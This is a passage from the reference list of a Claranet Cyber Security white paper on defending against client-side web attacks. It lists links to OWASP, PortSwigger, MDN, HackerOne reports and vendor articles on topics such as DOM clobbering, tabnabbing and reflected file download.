https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API
https://hackerone.com/reports/591432
https://hackerone.com/reports/1058015
http://www.thespanner.co.uk/2013/05/16/dom-clobbering/
https://portswigger.net/research/dom-clobbering-strikes-back
https://portswigger.net/web-security/dom-based/dom-clobbering
https://owasp.org/www-community/attacks/Reverse_Tabnabbing
https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing
https://notsosecure.github.io/browser-security-enhancements/Tabnabbing-Protection.html
https://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view
https://medium.com/@Johne_Jacob/rfd-reflected-file-download-what-how-6d0e6fdbe331
https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-
Vector.pdf
https://hackerone.com/reports/39658
https://www.acunetix.com/vulnerabilities/web/reflected-file-download/
https://www.whitehatsec.com/blog/compromising-a-users-system-with-reflected-file-download/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/reflected-file-download-a-new-web-attack-
vector/
Page | 75
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://hstspreload.org/
https://enable-cors.org/server.html
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://developer.mozilla.org/en-US/docs/Web/API/NamedNodeMap
https://csp-evaluator.withgoogle.com/
https://portswigger.net/kb/issues/00200308_client-side-template-injection
https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-
javascript-applications
https://www.informit.com/articles/article.aspx?p=659519&seqNum=4
https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
https://caniuse.com/
https://snyk.io/learn/javascript-security/
https://owasp.org/www-pdf-archive/Mario_Heiderich_OWASP_Sweden_The_image_that_called_me.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/reflected-file-download-a-new-web-attack-
vector/
https://owasp.org/www-pdf-archive/Mario_Heiderich_OWASP_Sweden_The_image_that_called_me.pdf
https://stegosploit.info/
https://trustfoundry.net/browser-url-encoding-decoding-and-xss/
https://code.google.com/archive/p/browsersec/wikis/Part2.wiki
Page | 76
©
Claranet Cyber Security 2021. All rights reserved